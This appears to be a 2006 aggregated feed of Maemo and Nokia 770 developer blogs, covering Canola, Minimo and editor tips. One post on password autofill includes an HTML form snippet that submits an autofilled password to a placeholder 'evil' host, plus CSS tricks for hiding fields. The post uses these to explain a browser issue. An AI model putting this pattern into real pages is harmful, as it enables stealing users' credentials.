lizhao

SciTE --- Firefox of text editor

2006-11-02 14:17 UTC  by  lizhao
0
0
SciTE is a light-weight, cross-platform, fast text editor I always use. For example, on windows platform, it can be a single exe file you can copy to anywhere you like, and smaller than 500k, which is much smaller than editplus and ultraedit.

Despite of its small size, it is highly configurable, there are menu items to edit its default properties, e.g., whether to show line number, where to wrap long line, etc.

For example, the following four lines make scite wrap and show line num automatically, and prompt a user to reload a file when the file is changed out of scite.
wrap=1
line.margin.visible=1
load.on.activate=1
are.you.sure.on.reload=1
For more documents, please refer to http://www.scintilla.org/SciTEDoc.html
Categories: Favorite Tools
admin

 […
First you have to install MPlayer for 770. Check out Maemo applications. MPlayer can play FLV files.

Now you need to be able to easily download the flv file from the page. Go to this site: http://1024k.de/bookmarklets/video-bookmarklets.html. That’s a great collection of Javascript codes that will help you download the videos. Just bookmark them by clicking and holding over each link. Use the “Flash Video files (.flv)” as this will download directly from the website you will be looking at (ie YouTube or Google Video).

That’s it. Now go to Youtube, choose a video and when the page finishes loading just click the bookmarked link and you will be asked to save a .flv file.

You can also open the file directly with MPlayer if you associate .flv with it. Follow these instructions: http://www.internettablettalk.com/forums/showpost.php?p=19205&postcount=84.
…]

Src: http://www.4tm.com.ar/4tmsite/wordpress/?p=6

Categories: howto
andrunko

Canola

2006-11-06 00:03 UTC  by  andrunko
0
0
Long time no posting, but now i have a good reason to do so. As some of you already know, i am being working on a "secret" project for a while now. The project i am talking about is Canola, a great media player for 770 users. There is also a preview video showing some of its features.



We should release a version this month, so be prepared.

Hope you enjoy
lizhao

Desktop Search for Source Analysis

2006-11-07 10:33 UTC  by  lizhao
0
0
Now, there are always Gigas source codes for me to pass. Without source analysis tools like source insight or source navigator, it really can be a big trouble sometimes.

Unfortunately, source insight is a bit expensive to deploy into all my PCs. On the freeware side, source navigator does not support c# so far (even worse, it failed several times when I try to add Gigas c++ files to a project).

Consider that the main feature I use in source insight is to search reference, caller, definition, etc. of a given entity, can we use a desktop search engine to do these work. Of cause, we stand a little chance to get such a desktop search engine.

But after I tried some engines, I feel they can help much, when I have no source insight installed. What's better is they usually do search much faster than source insight.

There are lots desktop search engine today. I have no time to try them all. So, I selected three for reference.
  • Microsoft Index Services (MIS)
  • Google Desktop Search (GDS)
  • Copernic Desktop Search (CDS)

    As MIS is integrated in windows, it is attractive that I donnot need to download and install anything, if it can be used. But I found it is slow, in terms of both indexing and searching. BTW: I use a wiki system based on MIS --- Perspective Wiki.

    Then I tried GDS, it provides search interface integrated into google search page. Maybe it is attractive for thoese google fans, but I guess they will be disappeared when they found GDS almost cannot refine search result, difficult to configure search for each folder, etc.

    After some googling, I found CDS. Its rate is quick good in some reviews. Another reason I select it is I recalled that I used to use another search product from Copernic around 2000. :-)

    Based on 1 hour experience, I think CDS is quite good for me to analyze source codes. It can easily start search inside a folder, restrict file name, date in a standalone native program.

    Maybe we can improve source navigator based on these open source desktop search enigne? :-D
  • Categories: Software Tips
    Tuomas Kuosmanen

    serious stuff

    2006-11-08 10:02 UTC  by  Tuomas Kuosmanen
    0
    0

    Makoto has the best Maemo/Nokia job ad ever on his blog :) check it out. Especially if you are into gstreamer and multimedia.

    Categories: Work
    andrunko

    Yes, it's fast!!!

    2006-11-09 18:27 UTC  by  andrunko
    0
    0
    Marcelo just released a new canola video. This video shows how fast is browsing to a shared library (DAAP) with thousands of musics. As you can see, it's damn fast :-).
    Go check it out.
    andrunko

    Browsing shared content using DAAP/DPAP

    2006-11-09 18:34 UTC  by  andrunko
    0
    0
    Some time ago i started a new project called libdmapsharing. Its main purpose was to enable canola to browse shared contents (iTunes, iPhoto, rhythmbox, banshee, etc) using DAAP/DPAP.

    But what is DAAP/DPAP?
    DAAP (Digital Audio Access Protocol) is a protocol used by Apple's iTunes and other digital audio player to share music across a network or the Internet. As DAAP, DPAP (Digital Photo Access Protocol) is a protocol used to share content across a network, but photos instead of musics. The protocol is used by Apple's iPhoto and other photo applications.

    Currently libdmapsharing supports only browsing, but in the future i intend to add sharing support also, so you will be able to easily share your musics/photos. The documentation is missing, but i will start writing it soon. As you can see, there is some things to do, so anyone interested in helping (even testing) it would be great.

    Hope you enjoy
    dkothari

    New Nokia 770 media campaign

    2006-11-11 06:13 UTC  by  dkothari
    0
    0
    Latest Nokia 770 media campaign takes maemo community applications center stage. I think the campaign hit bulls eye to emphasize in my opinion the most unique sell point for Nokia 770 Internet Tablet - Hackability. Now that would not mean so much to technology agnostic end consumer, but it sure means a lot to technology savvy consumers (especially those, who have an itch and know how to fix it :) .

    This campaign further highlights how vitally important an active development community is for device success, especially when different consumers have different expectation from the device (read itch). Therefore it is hugely imperative for Nokia to listen, nurture and be truly a part of this community.

    I don't know if Sean Egan would like to be associated with the Maemo GAIM as been pointed out here :) which is pretty much a quick port of mainstream GAIM by me and Santtu Lakkala for Nokia 770.
    admin

    Damn.. have to flash it..

    2006-11-16 03:17 UTC  by  Unknown author
    0
    0

    Ok, now I have to concede. That damn error “Unable to complete secure transaction” and the inability to load https:// - pages and the uselessness of the known bugfix causes me to reflash it - with the new image, nonetheless. Let´s see firsthand if the “Others” (not the “Others” but those in below ITT thread) are rightfully dissing the new update…

    Categories: 770
    andrunko

    Hacking on gstreamer

    2006-11-17 11:30 UTC  by  andrunko
    0
    0
    For over a week now, we at INdT are having a GStreamer training course. Edward Hervey (bilboed, or bilbode for brazilians :P) from fluendo is the guy managing the course. He is hosted in my house and we had some fun this week, lots of beers, hacking, you know :). I will post some pictures here soon. So far, i've learned a lot of interesting stuff and also was able to do some hacking, such as the port of rfbsrc to gstreamer 0.10 and the seek support implementation on neonhttpsrc. In the past i had written some patches and plugins to gstreamer, besides some applications centric development, but nothing big, and now i hope i can help more :-).

    If you haven't tried gstreamer yet, you should do it now.
    tonikitoo

    Newest minimo coming with patches available.

    2006-11-19 12:15 UTC  by  tonikitoo
    0
    0
    Wow, after a "busy" Sunday (actually I woke up at 2 PM :)) I finally I got newest mozilla minimo cvs snapshot (18th Nov) built on maemo i386 environment. Even better, I got all my patches uptodated as well as a directory struture for building it. It looks like:

    [sbox-maemo2-i386: ~/minimo/newest] > ls -R minimo/newest/
    build/:
    mozilla/

    ./do_it_all.sh

    patches/:
    armel-specific failed general maemo-specific old ongoing

    patches/armel-specific:
    buildfix_lots.diff buildfix_missing_chk_files.diff buildfix_preparea_and_dispatch_arm_sbox.diff old

    patches/armel-specific/old:
    075_OPTIMIZATIONS_xpcom_arm.diff 145_MAEMO_cs_mthumb_hack.diff 185_MAEMO_CODESOURCERY_hack_prdtoa.diff buildfix_shligsign_arm_sbox.diff

    patches/failed:
    185_MAEMO_CODESOURCERY_hack_prdtoa.diff minimo_shared.patch

    patches/general:
    ongoing runfix_encryto.diff runfix_gtkmozembed.diff

    patches/general/ongoing:
    command_line_parser.diff

    patches/maemo-specific:
    adding_debian_folder.diff adding_maemo_specific_files.diff disable_ssr_component.diff fullscreen_stuff_and_disable_google_view.diff prefs.diff softkb.diff~
    adding_maemo_specific_code.diff bigger_menu_default_font_size.diff fix_loggin_bustage_mika.diff linking_against_dbus_and_osso_stuff.diff softkb.diff

    patches/old:
    adding_debian_folder.diff psm_working_on_minimo.diff.bak update_linux_package.patch

    tarballs/
    mozilla.tar.bz2


    I am building it to armel right now, tomorrow I will see how good it runs on maemo 2.1. Hopefully, minimo will also
    completely move to garage.maemo soon. Keep tuned.

    --Antonio Gomes
    lizhao

    More online bookmark service is here now

    2006-11-21 09:26 UTC  by  lizhao
    0
    0
    In a previous post, I introduced an online bookmark service, which allow you to store your bookmark online and then synchronize it among several computers. I encountered some bugs when I use this service, such as browser hangs if service is down (frequently). But now, there are much more similar service available for our choice.
    1. del.icio.us
    2. Google Browser Sync
    3. Foxmarks
    4. Clipmark
    I am trying del.icio.us from yahoo, which can tag your bookmark instead of organizing in different folder.
    admin

    Welcome on my new space !

    2006-11-21 20:29 UTC  by  Unknown author
    0
    0

    How do you like the template ? It´s optimized for the default view on N770, no need for fullscreen or zoom.

    Categories: 770
    timeless

    Is that the bug from slashdot?

    Yes, yes, the /. bug

    It's a site bug. Why people complain about web browsers is beyond me.

    Can you elaborate?

    If the web site can give you a login form that looks correct. Who cares if your web browser might give it the password.

    Epiphany from FC6 is vulnerable, rcsr1

    You might give the password to the site anyway.

    Am I arguing that auto fill in of passwords for pages on the wrong domains is NOT a bug?

    Indeed, I'm arguing that it is not the core bug.

    Fundamentally, I don't care if my browser happens to do it. If the web server lets me be tricked, it's not the browser's fault; It's the web-master's fault. Further, if no web sites you trust are messed up, then the fact that the web browser has this behavior is not a problem.

    Is mozilla entering saved passwords on pages not originating on the server you saved it for?

    No, it doesn't do that. The issue is that the passwords are restored based on the url for the page. Not based on some random destination to which the page might choose to send the password.

    Why isn't the form target url considered?

    It's utterly pointless; and it'll break Gmail, Passport, and most single sign on systems. Imagine I have:

    <form><input id="password" type="hidden" onchange="form.action='http://evil/sendit';form.submit()">
    
    There's no action associated w/ the form when it is filled. This isn't actually that uncommon....

    So basically mozilla is auto-entering passwords for form fields, regardless from the url it's being sent to?

    Right, it can't know where it's going, that's decided much later and is subject to change randomly. Oh and btw, the web page could encode the password into an image url and just ask for that url instead, there is no real requirement that it submit a real form.

    If the page you go to isn't trustworthy, then your problem is that the page isn't trustworthy. It really is that simple.

    Is a workaround is not to fill in passwords in invisible form entries?

    No

    Solving the "is this hidden" question is hard:

     <input style="left:-100px; top:-100px">
     <input style="z-order:-1">
    
    Oh, it might be as well a visible element with position:absolute left: -1000px; top: -1000px;?

    Good, you're getting the idea, the point is that the web sites you visit must be trustworthy. And if they aren't, you need to scream loudly at them, or take your business elsewhere.

    So the "bug" is mostly a website problem, but helped by a "browser feature"?

    Right.

    timeless

    But I don't like it when people steal my password!

    2006-11-22 06:28 UTC  by  timeless
    0
    0
    But I don't like it when people steal my password! But I don't like it when people steal my password!

    What should you do if you can't trust your web sites?

    You have bigger problems, Hold them accountable.

    Aren't you using a password manager?

    It seems you are...

    Why would you choose to use the same password on multiple servers?

    :) I'm a proponent of using randomly generated per account passwords
    andrunko

    Categories in Blogger

    2006-11-22 10:24 UTC  by  andrunko
    0
    0
    Today i found a nice tutorial explaining how to add categories to blogger posts. This is especially useful if you are aggregated to some blog aggregator, and want to post just related topics.
    To check the tutorial go to blogger-tricks.
    It's really easy to do, and as a bonus you will have a del.icio.us account if you don't have one already ;-).
    tonikitoo

    What is about to come ???? - update

    2006-11-24 03:36 UTC  by  tonikitoo
    0
    0
    Follows a list of features I'll be working for minimo maemo port for the next couple days:

    • Add hardware key support (especially zoom_in/out and fullscreen).
    • Updating minimo through default Maemo's Application Manager has problems.
    • implement context sensitive menus for a stylus-oriented device.
    • missing "home bar". (where is it ???)
    • bookmark are not being properly persisted. (not yet implemented in minimo ???)
    • Hack built-in flash plugin to make it work with minimo.
    • make proxy work for FTP and HTTPS protocols.
    • default home setting does not work.
    • investigate crash on https://agenor.equipement.gouv.fr/ - maybe certificate ?
    • problems inputting hebrew, russian, finish characters via vkb.
    minor ones:
    • clipboard operations (cut, copy and paste)
    • track mozilla bug https://bugzilla.mozilla.org/show_bug.cgi?id=313665 (minimo exits crashing if X button if pressed)
    • try to fix download dialog crash.
    • 'open file' does not work.
    • remove 'pushd/popd' commands from run-minimo script uses - they seem to be not supported. (FIXED in 0.16.8-1)
    • proxy are not being set properly via vkb. (FIXED in 0.16.8-1)
    • keep tarsbar on the top on fullscreen mode by default. (FIXED in 0.16.8-1)
    • add menu item for toggle on/off spatial navigation / scrolling via arrow buttons. (FIXED in 0.16.8-1)
    • remove 'enable ssr' and 'Set minimo as default browser' check buttons from preferences-general tab. (FIXED in 0.16.8-1)
    • addind back ' X' button for tab closing. (FIXED in 0.16.8-2)
    • look for a rotate screen solution.

    ps : this list might grow up. It depends only on your feedback. Feel free to suggest anything.

    --Antonio Gomes
    tonikitoo at gmail dot com
    admin

    Play *.ogg music files in your media player

    2006-11-24 17:22 UTC  by  Unknown author
    0
    0

    Some hacker put time and effort in to enable *.ogg-support for the media player. His exploits can be found

    here: I haven´t tried this one yet as I don´t have so many ogg files

    Categories: howto
    admin

    From the release notes:
    Support for more than one stations (multistations) - display of temperature between degrees of Celsius and Farenheits - On/Off transparency mode on main icon

    Attention. Do not forgot reboot device after program update
    to the projectpage
    It looks very good in combination with the LCARS PADD star trek theme .

    Categories: home-page applet
    mikel

    The Canola Media Player for the Nokia 770

    2006-11-25 13:23 UTC  by  mikel
    0
    0
    I have been fortunate to be given an opportunity by Marcelo Oliveira of INdT to try out a DEMO Version of the Canola Media Player which brings a "Windows Media Center/Front Row" style application to the Linux Nokia 770 Internet Tablet.
    Click to read 1370 more words
    mikel

    The Canola Media Player for the Nokia 770 (2)

    2006-11-27 19:18 UTC  by  mikel
    0
    0
    Things I forgot to mention in my earlier blog post and/or did not expand on .

    1) Install

    I manually installed/un-installed from a prior download and then installed the beta of Canola via the application catalogue package list and direct Wi-Fi Internet connection in the application manager. Everything was fine which bodes well for an easy install of Canola for all types of Nokia 770 user.

    2) AV Formats

    I did not test multiple AV formats at this stage, restricting myself to simple jpg Photos, mp3 Audio and mp4 Video [Video transcoded by the Nokia 770 Media Converter] I tested streaming across my home network, via the Internet and of course playback directly from the Nokia 770 and installed 1GB RS-Multi Media Card.

    3) Themes

    The current Canola theme is so pleasant and clear that I do not think I will be dashing to change it, anyway my personal opinion is that themes are for users with too much time on their hands. (Not available for test in Beta Version)

    4) Win UPnP Servers: Sorted Alphabetically not a complete list by any means. If you would like me to review a Win UPnP Server with Canola, please include a comment.

    I did basic testing with the following on my XP SP2 PC were everything generally just worked, but of course this is the beauty of UPnP™, each server has it's good and bad points ;)
    • FUPPES 0.5.4 (Audio only)
    • Media Connect 2.0
    • Philips Media Manager 3.3.12.0004
    • SimpleCenter (Essentially PMM above with improvements)
    • TVersity 0.9.8.2a (My favourite)
    • Twonky Version 4.01
    5) Using two servers at the same time!

    One real killer benefits of Canola is the ability to utilise two UPnP Servers at the same time! Anyone familiar with UPnP™ Media serving and playback will be aware of the current restriction of only being able to do one thing at once with a typical UPnP Renderer/Playback Device.

    Being able to serve network pictures with one UPnP™ server whilst playing music with another UPnP server is simply fabulous. (The servers do not need to be on the same device i.e. Linux NAS, PC & MAC) This also means any UPnP server can be selected to take advantage of its particular features, that is not available on another.

    Hmmm this has got me thinking the Nokia 770's or their replacement with Canola would make great MS ZUNE Killers?
    andrunko

    It's coming

    2006-11-29 20:26 UTC  by  andrunko
    0
    0
    It's 22:13 here in Brazil and we are almost ready. I can't wait to release canola. We received a lot of feedbacks, and we are working really hard to finish the final details. I really hope you will enjoy it.

    We have less than 2 hours to finish it, so let me get back to work :-)
    andrunko

    Canola is out!!!

    2006-11-30 00:01 UTC  by  andrunko
    0
    0
    Wow, we finally released canola. I can't say how happy I am. I want to congrat the whole team for the great work so far. Now for you that can't wait anymore to try it out, do the following:

    Add the following repositories to your application catalogue (Application Manager/Tools/Application Catalogue...):

    Address: http://openbossa.indt.org/canola/repository
    Distribution: scirocco
    Components: user

    Address: http://repository.maemo.org
    Distribution: scirocco
    Components: free non-free

    If you are using mistral (2.0), just replace distribution with mistral.

    Now, refresh you packages list (Application Manager/Tools/Refresh Package List...), then go to "Install new applications" and select canola.

    After installation, reboot your device, and enjoy it :-)

    Now it's time to get some food :-P.
    Any feedback is welcome

    Back